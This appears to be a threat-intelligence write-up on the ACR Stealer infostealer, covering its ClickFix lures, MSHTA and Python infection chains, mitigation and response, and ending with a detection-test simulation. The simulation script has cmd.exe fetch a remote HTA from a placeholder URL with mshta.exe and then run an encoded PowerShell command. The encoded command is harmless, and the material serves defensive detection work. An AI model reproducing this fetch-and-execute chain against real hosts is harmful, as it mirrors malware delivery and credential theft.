ACR Stealer: Two Observed Intrusion Chains During Increased Threat Activity

Summary

ACR Stealer is an information-stealing malware family that uses ClickFix-style social engineering lures to target enterprise environments. The malware operates through two main infection chains: one that relies on WebDAV-delivered payloads with Python loaders and blockchain-based command-and-control, and another that uses MSHTA with steganographic payload delivery. Its primary objective is to steal browser credentials, authentication tokens, and sensitive documents.

Investigation

Microsoft Defender Experts observed increased activity between late April and mid-June 2026. The investigation identified two separate execution paths: a disk-based campaign involving Python and scheduled tasks, and a fileless campaign using MSHTA and in-memory shellcode execution. Analysts also documented advanced evasion methods, including timestomping, obfuscated PowerShell, and blockchain-backed dead-drop resolvers.

Mitigation

Organizations should train users to recognize ClickFix prompts and restrict execution of untrusted scripts through application control. Reducing exposure to malvertising and enforcing web filtering can help disrupt initial access attempts. Hardening endpoints by limiting reliance on browser-stored credentials and enforcing multi-factor authentication is also essential to reduce the risk of credential theft.

Response

If this activity is detected, affected devices should be isolated immediately and all potentially compromised credentials and tokens should be rotated. Session tokens should be revoked, and investigators should review outbound connections to suspicious remote shares or image-hosting services. EDR in block mode should be used to contain the threat and remove malicious artifacts efficiently.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre-flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic. Abstract or unrelated examples will lead to misdiagnosis.

• Attack Narrative & Commands: The adversary targets a user with a fake “browser error” (ClickFix). Once the user copies and pastes the command into a terminal, cmd.exe is invoked. The command instructs mshta.exe to reach out to a remote URL to fetch a malicious script. To further evade simple string detection, the script uses powershell.exe with an encoded command (-Enc) to download and execute the ACR Stealer malware in memory, bypassing traditional file-based scanning.

• Regression Test Script:

  # Simulation of ACR Stealer ClickFix Chain
  # Step 1: Simulate the cmd.exe wrapper
  # Step 2: Invoke mshta.exe with a URL
  # Step 3: Followed by an encoded PowerShell command
  
  $encodedCommand = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes("Write-Host 'Simulating ACR Stealer Payload Execution'"))
  
  Start-Process "cmd.exe" -ArgumentList "/c mshta.exe https://example.com/payload.hta & powershell.exe -Enc $encodedCommand"

• Cleanup Commands:

  # No persistent files are created in this simulation, but ensure no orphan processes remain
  Stop-Process -Name "mshta" -ErrorAction SilentlyContinue
  Stop-Process -Name "powershell" -ErrorAction SilentlyContinue